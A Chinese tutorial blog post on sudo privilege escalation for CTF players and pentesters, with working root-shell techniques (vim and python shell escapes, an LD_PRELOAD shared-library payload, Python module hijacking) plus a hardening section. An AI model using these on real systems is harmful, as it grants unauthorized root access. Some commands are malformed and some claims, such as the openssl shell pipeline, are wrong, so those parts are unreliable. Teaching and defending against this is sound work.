多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

sudo权限提升全解析:从工作机制到实战利用路径

sudo权限提升全解析:从工作机制到实战利用路径 1. 为什么sudo权限提升是CTF里绕不开的主线任务先问一个问题你刷CTF的时候有没有遇到过这种情况——web打下来一个webshell、反弹shell拿到了一个低权限用户卡了半天却找不到突破口我翻过大量赛题和复盘记录发现一个规律绝大多数非root权限的用户最后的落脚点都绕不开sudo。原因很简单出题人不能把root直接送给你那样太没意思了。但又要保证题目有可解性于是“留一个sudo授权”就成了最常见的平衡点——你拿到了某个服务账户通过sudo可以运行一小撮命令或者某个指定程序剩下的就看你有没有能力把这个授权变成真正的root权限。这既是权限提升Privilege Escalation中极具代表性的模型也是真实运维中sudo错误配置的浓缩投影。这篇文章我按自己的理解拆了很多次把sudo权限提升相关的机制、常见可滥用配置、利用手法、排错方法都和实际环境验证过的内容梳理了一遍。适合三类人看准备打CTF的新手想系统补权限提升知识的渗透测试爱好者以及正在做Linux安全加固的运维。文章不假设你已经是root高手但默认你会基本的Linux命令、会看文件权限、接触过CTF或渗透的基本概念。读完后你会清楚sudo权限提升到底在提什么、怎么提、为什么能提。2. 想利用sudo先弄懂它的工作机制2.1 sudo是“授权”不是“切换用户”很多初学者有个误区觉得sudo就是“切到root再执行命令”。严格来说sudo的真实工作是根据/etc/sudoers里的规则判断你是不是有权限以某个身份默认是root执行某条命令有的话就fork一个子进程用目标身份去跑这条命令。这个区别很关键。sudo切不切换Shell、保持哪些环境变量、要不要密码都是由一系列配置项决定的。最常见的两个影响变量是env_resetsudo默认会重置环境变量只保留HOME、SHELL、LOGNAME、PATH等少量白名单变量其余的一律清理。这个机制原本是安全措施防止用户把恶意环境变量带入特权命令但同时也成了很多利用手法的切入点。secure_pathsudo会给命令执行指定一个安全路径通常是缺省的系统路径。如果某条授权命令是用相对路径调用的那么实际执行的就是secure_path里的那个程序而不是当前目录下的同名文件。明白了这个底层逻辑你在看利用手法的时候就不会只是背payload而是能推断出“为什么这招对这个配置有效换个配置为什么失效”。2.2 读懂sudo -l的输出才是关键拿到一个低权限shell第一件事永远是执行sudo -l这条命令的输出会列出当前用户被授权的全部sudo规则。我拿一个常见的输出样例来拆解User bob may run the following commands on titan: (ALL) ALL (root) NOPASSWD: /usr/bin/vim (root) /usr/bin/python3.8第一行不用解释all权限直接起飞。第二行值得注意NOPASSWD意味着运行/usr/bin/vim不需要密码这部分授权意味着你可以在vim里开shell进而拿到root权限。第三行也经常出问题很多装了高版本sudo的系统默认会禁止sudo python3这类能衍生shell的调用但如果版本较老或者配置里写了SETENV标记情况就不一样了。另外要注意sudo命令本身的版本信息sudo --version为什么这个重要因为sudo本身存在过不少提权漏洞比如经典的CVE-2019-14287sudo -u#-1、CVE-2021-3156Baron Samedit堆溢出、CVE-2023-22809sudoedit任意文件覆盖等。如果遇到老版本优先查对应CVE的利用方式往往比分析配置更容易。2.3 权限提升的本质是“获得一个新的执行上下文”说到权限提升很多人把注意力全放在“怎么变成root”上却忽略了“变成root之后能干什么”才是出题人想考的东西。在CTF里拿到root通常意味着可以直接读/root/flag.txt但在真实渗透里root权限意味着可以窃取敏感配置、读取密钥、植入持久化后门、横向移动到其他内网目标。从攻击路径角度sudo权限提升的本质是你被授予了一个原本不属于你的执行能力而这个能力的边界没有配置好于是你借这个能力突破了原有边界。举个生活化的类比你是一个普通员工公司门禁系统授权你可以进入打印室复印文件sudo授权的常规操作但打印室里有台电脑恰好连着总机服务器而且你还可以在这台电脑上执行任意命令——那你实际拥有的权限就远超“进打印室”本身。出题人在真实场景里是运维没意识到这条链路的延伸这就是漏洞。3. 常见的可滥用sudo配置逐个拆给你看3.1 文件编辑类sudoedit、vim、nano都可能是突破口先看一段sudoers规则user01 ALL(root) /usr/bin/vim这条规则表示user01可以用root身份运行vim。如果你能在vim里执行外部命令:!/bin/bash或者通过vim的-c参数提前执行命令sudo vim -c !sh那么root权限就到手了。原因其实很简单vim本身支持在编辑器内部启动Shell而sudo授权的是“以root运行vim”这件事并没有把Shell调用能力剥离出去。不仅是vimnano可以调用外部命令、less/more!命令、man同样可以!、tar通过--checkpoint-action执行命令、find-exec参数都具备类似能力。这类工具被统称为“GTFOBins可交互程序”GTFOBins是一个专门收集Unix工具滥用技巧的社区项目遇到不确定某个程序能不能用来提权直接去这个站点查就好。还有一类更隐蔽的配置是sudoedit。sudoedit的本意是允许用户用root权限临时修改某个文件但编辑器本身是以用户身份运行的。CVE-2023-22809就利用了sudoedit的一个逻辑缺陷当sudoers规则里用了通配符比如sudoedit /etc/*的时候攻击者可以通过设置SUDO_EDITOR环境变量注入额外的编辑器参数让编辑器临时修改任意文件。在开展测试时遇到有sudoedit授权但看不到明确命令的情况建议优先确认sudo版本再决定后续思路。3.2 命令执行类一旦授权了能跑系统命令的程序就稳了一半比编辑类更直接的是这类user02 ALL(root) /usr/bin/python3.8 user02 ALL(root) /usr/bin/awk user02 ALL(root) /usr/bin/opensslpython可以这样sudo python3.8 -c import pty; pty.spawn(/bin/bash)awk可以这样sudo awk BEGIN {system(/bin/bash)}openssl可以这样sudo openssl enc -in /etc/shadow # 如果只想读文件 sudo openssl version -a # 帮助不大 # 常规做法利用openssl的engine功能加载共享库或者干脆反弹Shell echo -e id\n/bin/bash | sudo openssl enc -d -aes-256-cbc -nosalt实际上只要是能执行系统命令或具备动态加载模块能力的高级语言比如perl、ruby、lua、node都存在类似的调用方式。我这里不鼓励在真实服务器上拿这些技巧做未授权操作但在CTF环境或你自建的靶场里这些都是基本功。另外还必须提一类典型配置授权命令带了绝对路径但路径本身可以被篡改。比如授权的是/usr/bin/vi但你可以在/usr/bin/vi执行的过程中劫持配置文件~/.vimrc让vim在启动时自动执行命令。vim的modeline特性允许在文件末尾写特定格式的指令这些指令以root身份执行的时候就是权限提升。类似的思路也适用于python的PYTHONINSPECT、PYTHONPATH等环境变量。3.3 环境变量利用LD_PRELOAD与LD_LIBRARY_PATH的经典玩法前面提到env_reset会清理环境变量但如果sudoers文件里出现了SETENV标记情况就完全不同了。举一个payload示例写一个共享库#include stdio.h #include sys/types.h #include stdlib.h void _init() { unsetenv(LD_PRELOAD); setresuid(0,0,0); system(/bin/bash -p); }编译gcc -fPIC -shared -o shell.so shell.c -nostartfiles然后运行sudo LD_PRELOAD/tmp/shell.so authorized_command当sudo以root权限加载这个共享库时_init构造函数就会被执行一个root shell就落到了我们手里。用LD_PRELOAD利用的前提是空的env_keep配置——因为_init会先unsetenv再提权避免已经加载的库被清掉。这个细节很多人容易忽略如果unsetenv写在setresuid后面某些系统版本下权限会意外被重置导致提权失败。与之类似的技术是LD_LIBRARY_PATH。如果某条sudo授权的命令本身依赖了某个动态库但加载路径是相对的你可以把恶意库放到命令当前的工作目录里让动态链接器优先加载。这在CTF题目里比较少见原因是大多数现代Linux发行版都会通过RUNPATH和绝对路径防止这类攻击但老版本系统里依然有发挥空间。还有个常被人忽略的变量是PYTHONPATH。即便sudoers没有SETENV标记如果授权的python程序会调用某个自定义模块而你恰好可以在该模块路径之前构造同名同功能的模块——本质上还是环境变量优先级问题。这类思路就要结合具体程序来看没有通解。3.4 常见可滥用程序速查表程序利用方式核心原理vim/vi/nano/less/more/man启动Shell编辑器或分页器内置Shell调用能力find-exec执行系统命令find本身支持自定义动作tarcheckpoint-actiontar支持给归档过程挂命令python/perl/ruby/node执行代码解释语言具备完整执行能力openssl读取文件/加载引擎支持扩展外部模块env直接运行任意程序env可指定解释器awk/gccsystem调用或编译执行工具链本身能执行命令expectspawn一个交互shell支持自动化交互流程tee追加写文件如/etc/passwd写入高权限文件内容记住这张表不是让你去背而是要你看出来规律凡是能产生子进程、加载代码、读文件的程序在root授权下都可能变成小型的执行放大器。真正的高手不是背列表而是拿到任意授权命令时能快速判断它有没有“放大”能力。4. 三个典型场景的完整利用过程上面讲了原理和清单接下来我用三个真实可复现的场景走一遍完整流程。为了防止误用建议你在自己的虚拟机上跟着操作别直接拿生产环境练手——这是我一直坚持的底线。4.1 场景一NOPASSWD vim环境设定用户bobsudoers规则bob ALL(root) NOPASSWD: /usr/bin/vim目标读取/root/flag.txt并拿到root权限第一步确认授权bobtitan:~$ sudo -l Matching Defaults entries for bob on titan: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User bob may run the following commands on titan: (root) NOPASSWD: /usr/bin/vim第二步启动vim并执行Shellbobtitan:~$ sudo vim -c !sh这个-c参数的意思是启动后立即执行vime命令。按回车后进入一个新的交互Shell此时id的结果uid0(root) gid0(root) groups0(root)已经抵达到root。第三步验证权限id cat /root/flag.txt如果觉得-c方式不优雅也可以在vim里手动操作输入:!sh然后回车效果一样。核心提示这类利用方式要求vim是非易失模式默认就是且配置没有被-Z之类的受限模式限制。4.2 场景二SETENV标记配合LD_PRELOAD环境设定用户alicesudoers规则alice ALL(root) SETENV: /usr/bin/gcc注意这里的SETENV就是关键差异少了它env_reset会清除用户传入的环境变量尝试LD_PRELOAD就不会成功。第一步在alice的家目录里准备恶意共享库// shell.c #include stdio.h #include unistd.h #include stdlib.h void _init() { setenv(PATH, /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, 1); unsetenv(LD_PRELOAD); setresuid(0, 0, 0); system(/bin/sh); }编译alicetitan:~$ gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles第二步用sudo运行的任意授权命令作为触发点alicetitan:~$ sudo LD_PRELOAD/tmp/shell.so /usr/bin/gcc --version这个命令本身只是打印gcc版本但LD_PRELOAD会强制动态链接器优先加载/tmp/shell.so_init在程序启动时触发于是root shell直接弹出来。第三步验证提权结果id如果你是第一次实操可能会遇到一个问题提示“ignoring user preload”这是因为sudo的env_reset把LD_PRELOAD清掉了。这正是“为什么必须要有SETENV标记”的彻底理解——没有标记你传入的环境变量会被当成不可信变量直接忽略有了标记sudo允许你保留它但保留的代价是包括LD_PRELOAD在内的所有环境变量都会进入特权进程的环境里。4.3 场景三Python脚本与自定义库路径劫持环境设定用户devsudoers规则dev ALL(root) /usr/local/bin/backup_tool该工具是一个Python脚本内容大致是#!/usr/bin/env python3 import os import sys import configparser def main(): cfg configparser.ConfigParser() cfg.read(/etc/backup_tool.ini) for section in cfg.sections(): print(fBackup job: {section}) if __name__ __main__: main()脚本逻辑本身没什么问题但问题在于脚本的运行目录是可写的并且脚本源码所在路径是/usr/local/bin/backup_tool而它import的configparser是标准库路径劫持似乎无从下手。但真实场景里我见过更多是自建模块的情况。假设脚本里有一行import bkp_helper如果bkp_helper.py不存在系统路径中而当前目录恰好是/tmp那么最大的可能性就是脚本运行时会在sys.path的某个条目下找模块。你可以这样devtitan:~$ cat /tmp/bkp_helper.py EOF import os print(malicious loaded) os.system(/bin/bash) EOF然后在/tmp下面运行cd /tmp sudo /usr/local/bin/backup_tool如果脚本恰好是从当前目录启动的Python解释器会优先加载当前目录里的同名模块——前提是系统运行Python时允许当前路径出现在模块搜索路径中。现代系统可能默认关闭对当前路径的搜索但不少老版本的运维脚本仍然会自己把当前目录加进sys.path。这个场景想说的是利用的前提不只是一条sudo规则还有“被授权程序的可扩展文件在哪、运行环境在哪”这两个联动因素。4.4 利用链复盘小白也能看懂的提权三要素上面三个场景看似各不相同但抽掉表层后核心要素只有三个能力授予sudoers授权了某个命令让你能以root身份运行它。能力放大该命令或其依赖的程序支持执行任意代码/Shell也就是说授权的边界没有限制在命令本身的合法功能。输入控制你能控制触发条件——通过命令行参数、环境变量、配置文件、共享库路径等方式把自己的代码注入到root级别的执行流里。如果把这三个要素记为CCommand Authorization、AAbility Expansion、IInput Control那么在CTF里做sudo提权时你要做的事就是对着sudo -l输出逐条判断能拿到哪个要素然后把剩余的要素补完。几乎所有我看过的、自己写过的提权过程都能套进这个模型。5. 实战中的坑与排查指南5.1 为什么你的payload明明该通却死活不出root这个现象太常见了我有段时间把这些原因整理成了一张“排查清单”症状最常见原因处理思路sudo -l 没有输出任何内容当前用户可能不在sudoer里或者需要密码而输入错误被锁定确认用户组、确认是否需要TTY输入sudo命令提示“不在sudoers文件中”授权规则不是针对你当前的用户/组检查sudoers里的用户名/组名是否匹配LD_PRELOAD不生效提示ignoringenv_reset生效缺少SETENV标记无解则换其他利用方式vim执行:!sh得到的不是root shellvim可能是受限模式或者被sudo配置限制了环境尝试用-c参数启动或者查看当前uidpython -c弹不出shell授权命令可能被sudo以env_reset清理或被限制参数确认授权规则是否允许-c参数授权了某程序但无法执行任何命令该程序没有GTFOBins列出的滥用参数考虑动态库/环境变量路线我自己趟过最大的坑是写了一个通用LD_PRELOAD的payload拿到各种CTF里去做测试结果发现在某台靶机上就是不生效。后来把sudo -l的输出逐行对比才发现那台机器的sudoers规则虽然带了SETENV但secure_path被额外修改了导致共享库加载路径又回到了系统路径。这个例子说明提权成功与否完全取决于精确配置差一个标记、多一个环境变量结果都会不同。5.2 排查技巧与常用命令遇到“不明原因失败”我的标准操作顺序是# 1. 确认授权细节包括Defaults设置 sudo -l -v # 2. 看sudo版本 sudo --version # 3. 尝试带参数直接运行授权命令观察报错 sudo /usr/bin/vim --version # 4. 如果允许检查当前进程中sudo的启动环境 sudo -l /tmp/sudo_check; cat /tmp/sudo_check # 5. 利用结束后清理痕迹仅限CTF环境比如删除临时so、脚本 rm -f /tmp/shell.so /tmp/bkp_helper.py另一个容易被忽略的细节是sudo默认要求一个TTY。有些反弹shell是没有完整TTY的执行sudo时会报sudo: no tty present and no askpass program specified。此时需要先用Python标准库或其他工具把交互TTY恢复出来。python3 -c import pty; pty.spawn(/bin/bash)或者SHELL/bin/bash script /dev/null这个细节在web_shell转shell、docker_breakout等场景下经常会成为卡点。遇到问题不要急着怀疑payload先检查自己的终端环境是不是完整的TTY。5.3 一个关于通用工具链的建议我在自己的工具集合里专门维护了一个目录存放提权时常用的临时文件preload.cLD_PRELOAD的通用版shellhelper用C编译的setuid小玩具方便在target环境里快速验证各语言弹shell一句话列表这套东西帮我省了很多重复编码的时间。但在CTF现场我更推荐你先别急着把payload往上砸而是花一分钟读一读授权命令的帮助信息。很多题目的出题点就藏在某个参数里比如某个自定义工具的--insecurely-run-mode参数稍加思考就能直接转换成代码执行。6. 拿到root只是开始从利用到加固6.1 站在攻击者角度想要什么CTF题目的设计者通常会在拿root之后给你一次“总结题眼”的机会也就是回收flag但从长远看如果你把CTF训练当做学习安全思维的方式那么你需要关注的永远是“这个授权规则为什么危险它在生产环境里会以什么形式出现”。以我维护过的不少Linux服务器为例最常见的sudo配置隐患有授权范围过宽user ALL(ALL) ALL这种一写就是一整行等价于把密码交出去了。NOPASSWD低频命令低频命令往往不会在审计视线里但一旦被滥用比如sudo /usr/bin/find影响就是root级。允许SETENV但不知情旧版本很多默认配置对用户自定义环境变量过滤不严形成事实上的SETENV。sudo版本陈旧长期不升级导致CVE利用链稳定可用。allowed命令的父目录可写即使授权的是/usr/local/bin/tool如果/usr/local/bin可写攻击者可以替换工具本体。6.2 加固的实操建议如果你负责运维、需要给开发开临时sudo权限我建议至少这么做能用/etc/sudoers.d/下独立文件管理就不要直接改主文件。全部使用绝对路径并且确保路径的父目录权限足够严格。不要使用NOPASSWD除非有相应的审计和实时监控措施兜底。定期用脚本扫描sudoers文件列出所有含有ALL(ALL)或NOPASSWD的规则逐条确认必要性。升级sudo到当前最新稳定版关注官方安全通告。如果把某条命令授权出去先检查该命令有没有GTFOBins标记。有就说明它可以在脱离原本语义的情况下嫁接执行其他命令需要格外小心。这里提到的检查动作大多可以做成脚本化、自动化但核心的“判断某条授权是否合理”还是得人来做——机器不懂业务上下文它不知道find授权给数据备份脚本到底意味着什么。6.3 把CTF成果真正用起来除了防守思路我再分享一个我自己常用的“进阶用法”CTF训练中总结出的提权路径可以迁移到后渗透测试的权限提升排查上。在和同事一起做内网安全评估时我经常用sudo -l作为突破口list先排查sudo规则再排查其他可能的历史遗留配置比如可写的systemd service文件、可写cron路径、可写的PATH目录等。这比直接上公开Exploit要系统得多也更容易在报告中产出“可修复”的结论而不是“可打穿”的结论。7. 个人经验之谈说到底sudo权限提升本质考的是“配置边界”的把握。我见过不少人一上来就把GTFOBins列表背得滚瓜烂熟遇到题目倒是秒解但让他解释为什么能利用、配置断言是哪里失效的却一句话说不出来。实战里的很多场景是记忆库覆盖不到的所以理解机制比背payload重要得多。我自己的学习方法是把每次遇到的sudo利用场景记录成“授权规则片段 利用条件 真正的风险点”三栏格式。摆在这里做个小结。积累多了你会发现所有暴力破解、模糊测试都不如写清楚一行sudoers规则来的有效——它不用跑流量也不用爆破只需一声“sudo”就把root送到面前而你要做的只是看懂那句话背后少了一样什么约束。下次你拿到一个低权限Shell先沉住气执行一遍sudo -l把每条规则都当成一次机会而不是一个障碍。那个小小的命令输出里可能就是你通往flag的最后一块拼图。
返回列表